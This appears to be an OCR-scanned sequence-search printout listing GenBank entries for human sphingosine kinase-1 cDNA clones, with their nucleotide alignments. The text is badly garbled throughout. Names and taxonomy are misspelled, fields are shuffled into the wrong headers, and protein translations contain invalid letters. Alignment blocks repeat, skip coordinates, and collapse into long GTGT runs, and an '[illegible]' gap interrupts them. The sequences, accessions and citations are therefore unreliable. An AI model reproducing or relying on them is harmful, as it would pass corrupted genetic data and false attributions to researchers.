SOURCE Homo sapiens ovary, tumor tissue cDNA to mRNA, clone_1lb:OVARC1 clone:OVARC1001809.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE
AUTHORS Isogai,T., Ota,T., Hayashi,K., Sugiyama,T., Otsuki,T., Suzuki,Y., Nishikawa,T., Nagai,K., Sugano,S., Shiratori,A., Sudo,H., Magatsuma,M., Hosokiri,T., Kaku,Y., Kodaira,H., Kondo,H., Sugawara,M., Takahashi,M., Chiba,Y., Ishida,S., Murakawa,K., Ono,Y., Takiguchi,S., Matanabe,S., Kimura,K., Murakami,K., Ishii,S., Kawai,Y., Salto,K., Yamamoto,J., Wakamatsu,A., Nakamura,Y., Nagahari,K., Masuno,Y., Nimomiya,K. and Iwayanagi,T.
TITLE NEDO human cDNA sequencing project
JOURNAL Unpublished
REFERENCE 2 (bases 1 to 1772)
AUTHORS Isogai,T. and Otsuki,T.
TITLE Direct Submission
JOURNAL Submitted (23-AUG-2000) Takao Isogai, Helix Research Institute, Genomics Laboratory; 1532-3 Yana, Kisarazu, Chiba 292-0812, Japan (E-mail:genomics@hri.co.jp, Tel:81-438-52-3975, Fax:81-438-52-3986)
COMMENT NEDO human cDNA sequencing project supported by Ministry of International Trade and Industry of Japan; cDNA full insert sequencing; Research Association for Biotechnology; cDNA library construction, 5'- & 3'-end one pass sequencing and clone selection; Helix Research Institute (supported by Japan Key Technology Center etc.) and Department of Virology, Institute of Medical Science, University of Tokyo.
FEATURES
source
1..1772
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="OVARC1001809"
/tissue_type="ovary, tumor tissue"
/clone_1lb="OVARC1"
/note="cloning vector: pME18FLJ3"
350..1504
/note="unnamed protein product"
/codon_start=1
/protein_id="BAB14558.1"
/db_xref="GI:10435312"
/translation="MDPAGGPRGVLPBRCVRLVLLNPRGKGAQLQFLRSHVPLLA
AEISFTIMTERNHARELVRSEELGDMALVMSGDGIMHVVNGLMRPDMETAIQ
KPLCSLPAGSSNALASLNHYAGYEOVNEDELITNCTLLICRLISPMNLISLTHASG
ILFLPSYLSAKFPIADVDLESKRRLCEMRRTIGTFLRIALRTYRGRILATYLPGRV
GSKTPASPVYVQGFVDADHLVLEBPVSHWTVVDEDFVLVLLSHLSISEMRAAP
MORCAGVHLEFVRAGVSRAMLRLFLAMEGRMEYECPLVTVPAVAFLEPKDG
KGFVADGILMSEAVOGVHPNYFMVNSGVCEPPEPPMPQMPPEBPL"
BASE COUNT 285 a 566 c 585 g 336 t
ORIGIN
Query Match 97.4%; Score 1558.2; DB 9; Length 1772;
Best Local Similarity 98.6%; Pred. No. 7.2e-265;
Matches 1572; Conservative 0; Mismatches 23; Indels 0; Gaps 0;
QY 3 CCCCCGGGCTCCATATGACCAAGGCTCCGGGGGGAAGGCGGACCAAGCGGGCCCTG 62
DB 178 CGCCGGTCTCTACAGCCAGGCTCCGGGGAAGGCGAGCCCAAGCGGCTCTG 237
QY 63 CGAGCGCCGCTGGGAGCAGCAGATAGAGTGAAGCAGAGCGCGGCGGAG 122
DB 238 CGAGCGCCGCTGGGAGCAGCAGATAGAGTGAAGCAGAGCGCGGCGGAG 297
QY 123 CGCCCCCAGCGCCGAGGAGCCCTCTGGCAGCGGAGCGCGGCTGAGATTATGATCC 182

DB 298 CGCCCCCAGCGCCAGGAGACCCCTGGAGCGGGAGCGCGGCTGAGATTATGATCC 357
QY 183 AGCGGAGCGCCCCCGGGGCGTGTCTCCCGGGCCCTCCCGGCTGCTCTCTACACC 242
DB 358 AGCGGAGCGCCCCCGGGGCGTGTCTCCCGGGCCCTCCCGGCTGCTCTCTACACC 417
QY 243 GCGCGGCGGAGGAGGAGGAGGCTTGGAGCTTCTCCGGAATCAAGTCAAGCCCTTTGGC 302
DB 418 GCGCGGCGGAGGAGGAGGAGGCTTGGAGCTTCTCCGGAATCAAGTCAAGCCCTTTGGC 477
QY 303 TGAAGCTGAATCTCTTCACTGATGCTCACTGAGCGGAGAACACCGCGGAGCT 362
DB 478 TGAAGCTGAATCTCTTCACTGATGCTCACTGAGCGGAGAACACCGCGGAGCT 537
QY 363 GGTGCGGTGGAGAGAGTGGGCGGCGGAGGCTGAGTGTGATCTGGAGAGCGGCT 422
DB 538 GGTGCGGTGGAGAGAGTGGGCGGCGGAGGCTGAGTGTGATCTGGAGAGCGGCT 597
QY 423 GATGACAGAGTGTGTAACGCGCTCATGAGCGGCTGACTGGAGACCGCATCCAGAA 482
DB 598 GATGACAGAGTGTGTAACGCGCTCATGAGCGGCTGACTGGAGACCGCATCCAGAA 657
QY 483 GCCCTGTGAGCTTCCACAGAGCTTGGCAACGGCTGGCAGCTTCTTGAACATTA 542
DB 658 GCCCTGTGAGCTTCCACAGAGCTTGGCAACGGCTGGCAGCTTCTTGAACATTA 717
QY 543 TGCTGGCTATGAGAGAGTGCACCAATGAAGACCTCTGACCAATGACGCTATGCTGTG 602
DB 718 TGCTGGCTATGAGAGAGTGCACCAATGAAGACCTCTGACCAATGACGCTATGCTGTG 777
QY 603 CCGCGCGGTGCTGTCACCATGAACTGTGTCTTTCACAGCGCTTCCGGGCTGCGCTC 662
DB 778 CCGCGCGGTGCTGTCACCATGAACTGTGTCTTTCACAGCGCTTCCGGGCTGCGCTC 837
QY 663 GTTCTGTGCTGACCGCTGCGGCGGCTCATGCTGATGAGTACAGAGTATAA 722
DB 838 GTTCTGTGCTGACCGCTGCGGCGGCTCATGCTGATGAGTACAGAGTATAA 897
QY 723 GTATGCGGCTGTGGGGAGATGCGCTTCACTGTGGGACCTTCCGCTGTGCGAGCCT 782
DB 898 GTATGCGGCTGTGGGGAGATGCGCTTCACTGTGGGACCTTCCGCTGTGCGAGCCT 957
QY 783 GCGGACCTACCGCGCGGCGGAGCTGCTACCTCCCGTGTGAGAAAGTGGGTTTCAAGACAC 842
DB 958 GCGGACCTACCGCGCGGCGGAGCTGCTACCTCCCGTGTGAGAAAGTGGGTTTCAAGACAC 1017
QY 843 TGCTTCCCGCTTGTGTGTCACAGAGGCGCGGTAGATGACACACTGTGCGACATGAGGA 902
DB 1018 TGCTTCCCGCTTGTGTGTCACAGAGGCGCGGTAGATGACACACTGTGCGACATGAGGA 1077
QY 903 GCAGGTGCTTCTCACTGCGAGGTGTGCGGAGAGGACTTGTGCTAGTCTTGCGACT 962
DB 1078 GCAGGTGCTTCTCACTGCGAGGTGTGCGGAGAGGACTTGTGCTAGTCTTGCGACT 1137
QY 963 GCTGCACTGCACTGCGGCAATGAGATGTTGTCGACCACTGAGGCGGCTGTGCAAGCTGG 1022
DB 1138 GCTGCACTGCACTGCGGCAATGAGATGTTGTCGACCACTGAGGCGGCTGTGCAAGCTGG 1197
QY 1023 GGTGATGATGATGTTCTACGTGCGGGGAGATGTTCTGTCGCACTGTGCGCTCTT 1082
DB 1198 GGTGATGATGATGTTCTACGTGCGGGGAGATGTTCTGTCGCACTGTGCGCTCTT 1257
QY 1143 CGTGTGCTTCCGCTTGGAGCGGCAAGAGATGAGGAAAGTGTGTTGAGTGAAGTGGGA 1202
DB 1318 CGTGTGCTTCCGCTTGGAGCGGCAAGAGATGAGGAAAGTGTGTTGAGTGAAGTGGGA 1377
QY 1203 ATTGATGTTAGCGAGGCGGTGACAGGCGGAGTGCACCAACTTCTTGAGTGTGAC 1262

QY	843	TGCTTCCCCCGTTGGTGCACAGAGGCGCGTATGATACACACTGGTGCACATGGAGGA	902
Db	1007	TGCTCTCCCCGTTGGTGCACAGAGGCGCGTATGATACACACTGGTGCACATGGAGGA	1066
QY	903	GCAGTGCCTTCTCACTGGCAGAGTGGTCCCGACAGAGGACTTTTGTAGTCTGGACACT	962
Db	1067	GCACATGGCCCTCTCACTGGCAGAGTGGTCCCGACAGAGGACTTTTGTAGTCTGGACACT	1126
QY	963	GCATGACTGGCAGACTTGGCAGAGTGGTCCCGACAGAGGACTTTTGTAGTCTGGACACT	1022
Db	1127	GCATGACTGGCAGACTTGGCAGAGTGGTCCCGACAGAGGACTTTTGTAGTCTGGACACT	1186
QY	1023	CGTATGAGTCTGGTCTTACGTGCGGGGAGAGTGTCTGTGCTCAATGCTGCTGCTCTT	1082
Db	1187	CGTATGAGTCTGGTCTTACGTGCGGGGAGAGTGTCTGTGCTCAATGCTGCTGCTCTT	1246
QY	1083	CCTGGCCATGAGAGAGAGGAGGAGCATATGAGATGATGATGCTTACTTGTATATGTGCC	1142
Db	1247	CCTGGCCATGAGAGAGAGGAGGAGCATATGAGATGATGATGCTTACTTGTATATGTGCC	1306
QY	1143	CGTATGAGTCTGGTCTTACGTGCGGGGAGAGTGTCTGTGCTCAATGCTGCTGCTCTT	1202
Db	1307	CGTATGAGTCTGGTCTTACGTGCGGGGAGAGTGTCTGTGCTCAATGCTGCTGCTCTT	1366
QY	1203	ATTGATGTGTTAGCGAGAGGCGGTGCAGAGGCGCAGAGTGCACCAACTACTTCTGGATGTGAG	1262
Db	1367	ATTGATGTGTTAGCGAGAGGCGGTGCAGAGGCGCAGAGTGCACCAACTACTTCTGGATGTGAG	1426
QY	1263	CGGTTCGCTGGAGAGGCGCGCGCCAGCGTGAAGAGGCGCCAGAGATGCCACCGCCAGAAAGGCC	1322
Db	1427	CGGTTCGCTGGAGAGGCGCGCGCCAGCGTGAAGAGGCGCCAGAGATGCCACCGCCAGAAAGGCC	1486
QY	1323	CTTATGACCCCTTGGGCGCGGTGTGCTTATGATGCTTACTTGGAGAGCCCTTCTCTCTCC	1382
Db	1487	CTTATGACCCCTTGGGCGCGGTGTGCTTATGATGCTTACTTGGAGAGCCCTTCTCTCTCC	1546
QY	1383	CTAGAGCTGAGAGGCGCTGTGCACAGTCTCTGTGGGGGTGGAGAGACTCTCTGGAGAG	1442
Db	1547	CTAGAGCTGAGAGGCGCTGTGCACAGTCTCTGTGGGGGTGGAGAGACTCTCTGGAGAG	1606
QY	1443	GGTGAAGAGTGGAGGCTATGATGCTTGGGGGAGCAGAGCAGATGAAGTCTGGGTGAGGA	1502
Db	1607	GGTGAAGAGTGGAGGCTATGATGCTTGGGGGAGCAGAGCAGATGAAGTCTGGGTGAGGA	1666
QY	1503	GCCAGCTGCTGGGCGCCAGCTGCTATGTAAGGCCCTTACTTGTGTTGAGACCCCA	1562
Db	1667	GCCAGCTGCTGGGCGCCAGCTGCTATGTAAGGCCCTTACTTGTGTTGAGACCCCA	1726
QY	1563	CCCCAGAACCAATCCAAATTAAGAGCATTTCCCA	1599
Db	1727	CCCCAGAACCAATCCAAATTAAGAGCATTTCCCA	1763
RESULT 5			
LOCUS	AF238083	1783 bp	linear PRI 01-JUN-2000
DEFINITION	Homo sapiens sphingosine kinase-1 mRNA, complete cds.		
ACCESSION	AF238083		
VERSION	AF238083.1	GI:8132867	
KEYWORDS			
SOURCE	Homo sapiens.		
ORGANISM	Homo sapiens		
REFERENCE			
AUTHORS	Mammalia; Eutheria; Primates; Catarrhini; Homidae; Homo.		
TITLE	Nava, V.E., Lacana, E., Poulton, S., Liu, H., Sugliura, M., Kono, K.,		
JOURNAL	Multiscent, S., Kohama, T., and Spiegel, S.		
MEDLINE	Functional characterization of human sphingosine kinase-1		
PUBMED	FEBS Lett. 473 (1), 81-84 (2000)		
REFERENCE	2 (bases 1 to 1783)		
AUTHORS	Nava, V.E., Lacana, E., Poulton, S., Liu, H., Sugliura, M., Kono, K.,		

FEATURES	source	1.	1783
TITLE	Mistlen,S., Kohama,T. and Spiegel,S.		
JOURNAL	Submitted (23-FEB-2000) Biochemistry, Georgetown University, 3900		
Reservoir	KD NW BSB Rm 357, Washington, DC 20007, USA		
CDS	Location/Qualifiers		
	/organism="Homo sapiens"		
	/db_xref="taxon:9606"		
	/chromosome="17"		
	/map="17q25.2"		
	337..1491		
	/codon_start=1		
	/product="sphingosine kinase-1"		
	/protein_id="AAF73423.1"		
	/db_xref="GI:8132868"		
	/translation="MDPAGRGVLPKPCRYLVLLNPRGKGKALQPRSHYQPLLA		
	AEISPTLMLTERRNHAPELVSEELGRDPAIVYNSGDLMHEVYNGLEMPDMEPAI		
	KPLDSPLAGSGNALAASLNHYAGTEQVYEDNILLCTLLCRLLSPNNLSLHNAS		
	LRLDSVLSLAWGLADVDLESEKTRLEEMPTLTSTLRLAKRTYRRLRLPLVGR		
	GSKIPASPVVVOQGVDAHLVLEPPEVPSHMTWPEDECVLILALSHLSSEMPAA		
	MGRACQVMHLFVYRAGSRAMLRLFFLFLAMKGRIMECEPLVYPVAVRLEPKD		
	KGVAVDELMLSEVQGVQVHPNYFMVMSGCVPEPSPKPDMPPEPEPL"		
BASE COUNT	314 a 546 c 591 g 332 t		
ORIGIN			
Query Match	96.9%; Score 1549.6; DB 9; Length 1783;		
Best Local Similarity	98.2%; Pred. No. 2.4e-263;		
Matches 1567; Conservative	0; Mismatches 29; Indels 0; Gaps 0		
QY	3	CCCCGGGGCTCCTATAGCCAGCGGCTCCGGGCGGGGAAGGCGAGCCACAGCCGCGCCG	62
DB	165	CACCGGTGCTCTTAAGCCACGCGCTCCGGGCGGGGAAGGCGAGCCACAGCCGCGCCG	224
QY	63	CGACGCCCGCCTGGGACACCGATTAAGAGCTGAAGGAGGAGCCGCCGCGGAGCGG	122
DB	225	CGAGCGCCGCTGGGACAGCCGATTAAGAGCTGAAGGAGGAGGAGCCGCCGCGGAG	284
QY	123	CGCCCCACAGCGGCCAGGAGACCCCTGGAGAGGGGAGAGCCGGGGGTGAGATTAGATCC	182
DB	285	CGCCCCACAGGCGCAGGAGACCCCTGGAGAGGGGAGAGCCGGGGGTGAGATTAGATCC	344
QY	183	AGCGGGGAGCCCGGGGGGTGCTCCCGCGGCGCTGCGCTGCTGCTGCTGTAACCC	242
DB	345	AGCGGGGAGCCCGGGGGGTGCTCCCGGGCGCTGCGCTGCTGCTGCTGTAACCC	404
QY	243	GGCGGAGGCGAAGGCGAGGCTTGCAGCTCTTCCGGAATCACGTGCACGCCCTTTTGGC	302
DB	405	GGCGGAGGCGAAGGCGAGGCTTGCAGCTCTTCCGGAATCACGTGCACGCCCTTTTGGC	464
QY	303	TGAGGCTGAATCTCCTTACGCTGATGTCTCACTGAGCGGCGGAACCAAGCGCGGAGCT	362
DB	465	TGAGGCTGAATCTCCTTACGCTGATGTCTCACTGAGCGGCGGAACCAAGCGCGGAGCT	524
QY	363	GGTGGCGTGGAGGAGCTGGGCGCGTGGGAGCGCTCTGTTGTCATGTCTGGAGACGGCT	422
DB	525	GGTGGCGTGGAGGAGCTGGGCGCGTGGGAGCGCTCTGTTGTCATGTCTGGAGACGGCT	584
QY	423	GATGACAGGCGTGGGAACGGGCTCATGGAGGGGCTGACTGAGGAGACCGCATCCAGAA	482
DB	585	GATGACAGGCGTGGGAACGGGCTCATGGAGGGGCTGACTGAGGAGACCGCATCCAGAA	644
QY	483	GGCCCTGTTACCTCCAGAGGCTTGGGCAACGGCGTGGGAGCTTCTTTGAACCATTA	542
DB	645	GGCCCTGTTACCTCCAGAGGCTTGGGCAACGGCGTGGGAGCTTCTTTGAACCATTA	704
QY	543	TGCTGGCTATGACAGGCTACCAATGAGAACCTCTGACCAACTGACGCTATGTGTG	602
DB	705	TGCTGGCTATGACAGGCTACCAATGAGAACCTCTGACCAACTGACGCTATGTGTG	764
QY	603	CGCGCGGCGTGAACCATGACCTGTGCTGTGACACAGGCTTGGGGGTGGGCTC	662
DB	765	CGCGCGGCGTGAACCATGACCTGTGCTGTGACACAGGCTTGGGGGTGGGCTC	824

Db 878 GCGACCTACCGCGCGGCGACTGGCCCTACCTCCCTGTAGAGAGAGTGGGTTCCAGACACC 937
 Oy 843 TCGTCCCGCGGTGTGTGTCAGCAGAGGCGCGGTAGATGACACACCTGGGCGACAGAGGA 902
 Db 938 TGGCTCCCGCGGTGTGTGTCAGCAGAGGCGCGGTAGATGACACACCTGGGCGACAGAGGA 997
 Oy 903 GCAGGTCCTTCTCAGTGGCAGAGTGTGCCCGACAGAGACTTTGTGTAGTCTGAGGACT 962
 Db 998 GCCAGTGGCCCTCCTCAGTGGCAGAGTGTGCCCGACAGAGACTTTGTGTAGTCTGAGGACT 1057
 Oy 963 GCTGCACTGCGACCTGGCGCAAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1022
 Db 1058 GCTGCACTGCGACCTGGCGCAAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1117
 Oy 1023 CGTATGATGATGTTTCTACGTGGCGGCGGAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1082
 Db 1118 CGTATGATGATGTTTCTACGTGGCGGCGGAGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1177
 Oy 1083 CCGTGGCCATGAGAGAGGCGCAGGATATGAGATGAATGCCCTACTTGTGTGTGTGTGTGTGT 1142
 Db 1178 CCGTGGCCATGAGAGAGGCGCAGGATATGAGATGAATGCCCTACTTGTGTGTGTGTGTGTGT 1237
 Oy 1143 CGTGGTGGCTTCCGCTTGTGAGGCCCAAGATGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1202
 Db 1238 CGTGGTGGCTTCCGCTTGTGAGGCCCAAGATGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1297
 Oy 1203 ATTATGATGATGAGAGGCGCAGGATATGAGATGAATGCCCTACTTGTGTGTGTGTGTGTGT 1262
 Db 1298 ATTATGATGATGAGAGGCGCAGGATATGAGATGAATGCCCTACTTGTGTGTGTGTGTGTGT 1357
 Oy 1263 CGGTTGGTGTGAGGCG 1322
 Db 1358 CGGTTGGTGTGAGGCG 1417
 Oy 1323 CTATGAGACCCCTGGGCGCGCGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1382
 Db 1418 CTATGAGACCCCTGGGCGCGCGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1477
 Oy 1383 CTAGGGGCTGAGAGGCGCTGT 1442
 Db 1478 CTAGGGGCTGAGAGGCGCTGT 1537
 Oy 1443 GGTGAGAGAGTGTGAGGCTGT 1502
 Db 1538 GGTGAGAGAGTGTGAGGCTGT 1597
 Oy 1503 GCCAGGCTGTGAGGCGCGCGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1562
 Db 1598 GCCAGGCTGTGAGGCGCGCGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 1657
 Oy 1563 CCCACGAGAACCAATCCAAATTAAGTGCATTTCCAA 1599
 Db 1658 CCCACGAGAACCAATCCAAATTAAGTGCATTTCCAA 1694
 RESULT 7
 AF266756 1693 bp mRNA linear PRI 01-JUN-2000
 LOCUS Homo sapiens sphingosine kinase (SPHK1) mRNA, complete cds.
 DEFINITION AF266756
 ACCESSION AF266756.1 GI:8133099
 VERSION
 KEYWORDS
 SOURCE Homo sapiens.
 ORGANISM Homo sapiens
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.
 REFERENCE
 1 (bases 1 to 1693)
 AUTHORS Melendez,A.J., Carlos-Dias,E., Gosink,M., Allen,J.M. and Takacs,L.
 TITLE Human Sphingosine Kinase, Molecular Cloning, Functional
 Characterisation and Tissue Distribution
 JOURNAL Gene (2000) In press
 REFERENCE 2 (bases 1 to 1693)
 AUTHORS Melendez,A.J., Carlos-Dias,E., Gosink,M., Allen,J.M. and Takacs,L.

TITLE Direct Submission
 JOURNAL Submitted (11-MAY-2000) Department of Molecular and Cellular
 Biology, Jouveinal Parke-Davids, 11-13 rue de la Loge, Fresnes
 94265, France
 FEATURES
 source
 1.1693
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /chromosome="17"
 /map="17q25.2"
 1.1693
 /gene="SPHK1"
 /gene="SPHK1"
 /codon_start=1
 /product="sphingosine kinase"
 /protein_id="AA73470.1"
 /translation="MDPAGPRGVLPDRCHVLYLNPGRGKALQLFPSHVOPPLAE
 AEFSTLMTERRNHRRELVRSEELRMALVYSGDGLMHEVNGMLRPERDIAIO
 KPLCSLPAGSGLNALSLNHYAGYEDVNTDLTNCITLLCRLLSPMNLISLHTASG
 LRFSVLSLWGFADYDLESEKVRRLGEMRTLTGFLRLAALRTYRGLAYLPVGRV
 GSKTPASPVYQDGPVDAHLVPLEEPVPSMRTVYPRDPTVLYLALSHLSGSMFAP
 MGRCAVGMHLETVRAGVSRAMLLRLFLAEKRRHMETECPIYLYVVAFLRLEPDG
 KGVPAVDGELMVSLEAVOGVHPMYFMVSGVCPSPSMKPPQMPPEEPL"
 1676.1681
 polyA_signal
 /gene="SPHK1"
 BASE COUNT 279 a 529 c 556 g 329 t
 ORIGIN
 Query Match 94.88; Score 1515.2; DB 9; Length 1693;
 Best Local Similarity 97.7%; Pred. No. 2,7e-257;
 Matches 1559; Conservative 0; Mismatches 33; Indels 4; Gaps 2;
 Oy 3 CCCCGGGGCTCTCTATGACCAAGGCTCGGGCGGGGAGAGCCGACAGCGGCCCTG 62
 Db 102 CACCGGTGCTCTCTACACCAAGGCTCGGGCGGGGAGAGAGCCGACAG---CGGCCCTG 158
 Oy 63 CGACGCCGCGCTGTGGGCGACCGATTAAGAGCTGAAGGAGAGAGCCGCGCCAGCGGCGAG 122
 Db 159 CGAGGCCGCGCTGTGGGCGAGCCGATTAAGAGAGCTGAAGGAGAGAGCCGCGCCAG -GGCAG 217
 Oy 123 CGCCGCCACAGCGCCAGGAGACCCCTGTGGCAGCGGAGAGCCGCGGCTGAGGTATGATCC 182
 Db 218 CGCCGCCACAGCGCCAGGAGACCCCTGTGGCAGCGGAGAGCCGCGGCTGAGGTATGATCC 277
 Oy 183 AGCGGGGGGCGCCCGGGGCGTGTCCCGCGGCGCCCTGCGGCTGTGTGTGTGAACC 242
 Db 278 AGCGGGGGGCGCCCGGGGCGTGTCCCGCGGCGCCCTGCGGCTGTGTGTGTGAACC 337
 Oy 243 GCGCGGCGGCGCAAGGCGCTTGTGAGCTCTTCCGAGTCAAGTGCAGTGCAGCCCTTTGGC 302
 Db 338 GCGCGGCGGCGCAAGGCGCTTGTGAGCTCTTCCGAGTCAAGTGCAGTGCAGCCCTTTGGC 397
 Oy 303 TGAAGCTGAATCTCTTCAAGCTGATGCTCATCTGAGCGCGGAGAACCAAGCGCGGAGACT 362
 Db 398 TGAAGCTGAATCTCTTCAAGCTGATGCTCATCTGAGCGCGGAGAACCAAGCGCGGAGACT 457
 Oy 363 GGTGCGGTGAGAGAGTGTGGCGCTGTGGAGAGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 422
 Db 458 GGTGCGGTGAGAGAGTGTGGCGCTGTGGAGAGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 517
 Oy 423 GATGACGAGAGTGTGAGAGGCTCATGAGCGGCGCTGACTGGAGAGCGGCATCCAGAA 482
 Db 518 GATGACGAGAGTGTGAGAGGCTCATGAGCGGCGCTGACTGGAGAGCGGCATCCAGAA 577
 Oy 483 GCGCCCTGTAGCTCTCCACAGAGCTGTGGCAAGCGCGCTGTGGAGCTCTTGAACATTA 542
 Db 578 GCGCCCTGTAGCTCTCCACAGAGCTGTGGCAAGCGCGCTGTGGAGCTCTTGAACATTA 637
 Oy 543 TGTGCGGTATGAGAGAGTGCACATGAAGAGCTCTGACCAAGTGCAGCGCTATTTGCTGTG 602
 Db 638 TGTGCGGTATGAGAGAGTGCACATGAAGAGCTCTGACCAAGTGCAGCGCTATTTGCTGTG 697

	BC009419	1869 bp	mRNA	linear	PRI 12-Jul-2001
Oy	603	CCGCGCCGGTGGTGTACCAACCATGAAAC	CGCTGTCTGTGCACACAGGCGCTTCG	GGGGGCGCCGCTC	662
Db	698	CGCGCGGGTGGTGTACCAACCATGAAAC	CGCTGTCTGTGCACACAGGCGCTTCG	GGGGGCGCCGCTC	757
Oy	663	GTTCCTGTGTCTACAGCCCTGGGCTTC	ATGTGCTGATGTGGAGCTAGAGATGATA		722
Db	758	CTTCCTGTGTGTCTACAGCCCTGGGCT	TTCATGTGATGTGGAGCTAGAGATGATA		817
Oy	723	GTATCGCGCTGTGGGGAGATGCGCTTC	ACTCTGCGGACCTTCTGCGCTGGAGCCCT		782
Db	818	GTATCGCGCGCTGTGGGGAGATGCGCT	TTCACCTCTGCGGACCTTCTGCGCTGG	AGCCCT	877
Oy	783	GGCGACCTTACCGGGCGGACGAGGCT	TACCCCTGTAGAGAGATGGGTTTCA	GACAC	842
Db	878	GGCGACCTTACCGGGCGGACGAGGCT	TACCCCTGTAGAGAGATGGGTTTCA	GACAC	937
Oy	843	TGCTTCCCGCTTGTGTGTCCAGCAGG	AGCCCGGATGACACCTGGGCGCAGTGA	AGGA	902
Db	938	TGCTTCCCGCTTGTGTGTCCAGCAGG	AGCCCGGATGACACCTGGGCGCAGTGA	AGGA	997
Oy	903	GCAGGTGCTTCTCACTGGCAGGTGTCC	CGACGAGACCTTGTGTGTAGTCMGGCA	CT	962
Db	998	GCAGGTGCTTCTCACTGGCAGGTGTCC	CGACGAGACCTTGTGTGTAGTCMGGCA	CT	1057
Oy	963	GCTACAGTCGACACCTGGGCGAGTGA	GTGTTGTCGACCCATGGGGCGGCTGTGA	AGCTGG	1022
Db	1058	GCTACAGTCGACACCTGGGCGAGTGA	GTGTTGTCGACCCATGGGGCGGCTGTGA	AGCTGG	1117
Oy	1023	CGTCATGATCTGTCTTACGTGCGGGG	AGGTCTCTGTCCATGCTGTCGCGCTCT		1082
Db	1118	CGTCATGATCTGTCTTACGTGCGGGG	AGGTCTCTGTCCATGCTGTCGCGCTCT		1177
Oy	1083	CCGTGGCATGGAGAGGGCAGGCAAT	GTAGATGAATGCCCTTACTGTGGATAT	GTGCC	1142
Db	1178	CCGTGGCATGGAGAGGGCAGGCAAT	GTAGATGAATGCCCTTACTGTGGATAT	GTGCC	1237
Oy	1143	CGTGTGCGCTTCCGCTGTGAGACCA	AGGCAAGGATGTGTTGCGAGTGAAG	GGGA	1202
Db	1238	CGTGTGCGCTTCCGCTGTGAGACCA	AGGCAAGGATGTGTTGCGAGTGAAG	GGGA	1297
Oy	1203	ATTGATGGTTAAGCAGAGCGCTGC	AGGGCCAGGTGCACCCAACTACTTCT	GGATGTGCAG	1262
Db	1298	ATTGATGGTTAAGCAGAGCGCTGC	AGGGCCAGGTGCACCCAACTACTTCT	GGATGTGCAG	1357
Oy	1263	CGGTGTGGTGGAGGCCCGCCGACCT	GTGGAACCCCGACAGATGGCACGCG	CCAGAGACC	1322
Db	1358	CGGTGTGGTGGAGGCCCGCCGACCT	GTGGAACCCCGACAGATGGCACGCG	CCAGAGACC	1417
Oy	1323	CTTATGACCCCTGGGGCGGCGCTGT	AGCCTTACTGTCTTACAGAGACCCT	TCGTCCTCC	1382
Db	1418	CTTATGACCCCTGGGGCGGCGCTGT	AGCCTTACTGTCTTACAGAGACCCT	TCGTCCTCC	1477
Oy	1383	CTAGGGCTGCAGGGCGCTGTCCAC	AGCTCTCTGTGGGGGTGAAGAGACT	CCCTGGAAG	1442
Db	1478	CTAGGGCTGCAGGGCGCTGTCCAC	AGCTCTCTGTGGGGGTGAAGAGACT	CCCTGGAAG	1537
Oy	1443	GGTAGAGAGGTGAGAGGCTATGCT	TGTGGGGGACAGGCCAGATGAATG	ATCCTGGGTCA	1502
Db	1538	GGTAGAGAGGTGAGAGGCTATGCT	TGTGGGGGACAGGCCAGATGAATG	ATCCTGGGTCA	1597
Oy	1503	GCCGAGCTGTGTGGGGCCAGCTG	CCATATGTAAAGCCTTCTAGTTTGT	CTGAGACCCCA	1562
Db	1598	GCCGAGCTGTGTGGGGCCAGCTG	CCATATGTAAAGCCTTCTAGTTTGT	CTGAGACCCCA	1655
Oy	1563	CCCCACGACCAATTCCAATAAAT	AGTGACATTTCCA		1598
Db	1658	CCCCACGACCAATTCCAATAAAT	AGTGACATTTCCA		1693

[illegible]

Db 269 CGAGCCCTCTGCGGACGACCGATGAAGGAGGAGCCGCCGCCACGCGGCG 328
 Oy 123 CGCCCCACAGCCGACGAGGAGACCCCTGCGAGCGGAGCCGCGGGGTGAGATTATGATC- 181
 Db 329 CGCCCCACAGCCGACGAGGAGACCCCTGCGAGCGGAGCCGCCGGGTGAGATTATGATC 388
 Oy 182 -----CAGCGCGCGCGCGCGCGCGG 200
 Db 389 AGTGGTGGTGGGAGCGTGGGCTCTTTGGTTTTTTCTCAGCGCGGCGCGCGCGG 448
 Oy 201 CGTCTCCCGCGCGCGCGCGCGGTGCTGCTGCTGAACCCGCGCGCGCGGCAAGGCA 260
 Db 449 CGTCTCCCGCGCGCGCGCGCGGTGCTGCTGCTGAACCCGCGCGCGCGGCAAGGCA 508
 Oy 261 GGGCTGAGCTCTTCCGAGATCAGTGCAGCCCTTTGGCTGAGGCTGAATCTCTT 320
 Db 509 GGGCTGAGCTCTTCCGAGATCAGTGCAGCCCTTTGGCTGAGGCTGAATCTCTT 568
 Oy 321 CAGCTGATGCTCTAGTGCAGCGGAGCAACGCGCGGAGCTGGTGGGTGCGAGAGCT 380
 Db 569 CAGCTGATGCTCTAGTGCAGCGGAGCAACGCGCGGAGCTGGTGGGTGCGAGAGCT 628
 Oy 381 GGGCGCGTGGGAGCGCTGTGTGATGTGTGAGACGGGCTGATGCAAGAGTGTGAA 440
 Db 629 GGGCGCGTGGGAGCGCTGTGTGATGTGTGAGACGGGCTGATGCAAGAGTGTGAA 688
 Oy 441 GGGGCTCATGAGAGCGGCTGACTGGAGACCGGCATCAGAAAGCCCGTGTAGCCCTCC 500
 Db 689 CGGGCTCATGAGAGCGGCTGACTGGAGACCGGCATCAGAAAGCCCGTGTAGCCCTCC 748
